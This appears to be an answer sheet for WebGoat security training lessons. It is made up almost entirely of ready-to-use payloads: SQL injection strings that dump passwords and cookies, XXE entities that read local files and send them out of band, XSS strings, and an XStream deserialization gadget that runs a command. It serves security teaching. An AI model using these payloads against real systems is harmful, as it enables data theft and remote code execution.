52a48df70c
Introduced callback functionality which you can specify after the posting in order to be able to load the comments list again.
89 lines
2.6 KiB
Plaintext
89 lines
2.6 KiB
Plaintext
### SQLi ###
|
|
Basic
|
|
Smith - to show it returns smith's records
|
|
Smith' or '1'='1 - to show exploit; 1=1 can be any true clause
|
|
|
|
[2:19 PM]
|
|
101
|
|
101 or 1=1
|
|
|
|
Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
|
|
|
## XXE ##
|
|
|
|
Simple - <?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>
|
|
|
|
Modern Rest Framework - change content type to: Content-Type: application/xml &&
|
|
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><user> <username>&root;</username><password>test</password></user>
|
|
|
|
Blind SendFile ...
|
|
|
|
/**
|
|
* Solution:
|
|
*
|
|
* Create DTD:
|
|
*
|
|
* <pre>
|
|
* <?xml version="1.0" encoding="UTF-8"?>
|
|
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
|
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
|
|
* %all;
|
|
* </pre>
|
|
*
|
|
* This will be reduced to:
|
|
*
|
|
* <pre>
|
|
* <!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
|
|
* </pre>
|
|
*
|
|
* Wire it all up in the xml send to the server:
|
|
*
|
|
* <pre>
|
|
* <?xml version="1.0"?>
|
|
* <!DOCTYPE root [
|
|
* <!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd">
|
|
* %remote;
|
|
* ]>
|
|
* <user>
|
|
* <username>test&send;</username>
|
|
* </user>
|
|
*
|
|
* </pre>
|
|
*
|
|
*/
|
|
|
|
###XSS ###
|
|
|
|
<script>alert('my javascript here')</script>4128 3214 0002 1999
|
|
|
|
DOM-XSS ...
|
|
|
|
// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E
|
|
// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>
|
|
|
|
|
|
### Vuln - Components ###
|
|
|
|
Jquery page: - it is contrived; but paste that in each box
|
|
OK<script>alert("XSS")<\/script>
|
|
OK<script>alert("XSS")<\/script>
|
|
|
|
for the deserialization: got to the link: http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/ to read about why it works so you can talk to it.
|
|
|
|
<sorted-set>
|
|
<string>foo</string>
|
|
<dynamic-proxy>
|
|
<interface>java.lang.Comparable</interface>
|
|
<handler class="java.beans.EventHandler">
|
|
<target class="java.lang.ProcessBuilder">
|
|
<command>
|
|
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
|
|
</command>
|
|
</target>
|
|
<action>start</action>
|
|
</handler>
|
|
</dynamic-proxy>
|
|
</sorted-set>
|
|
|
|
|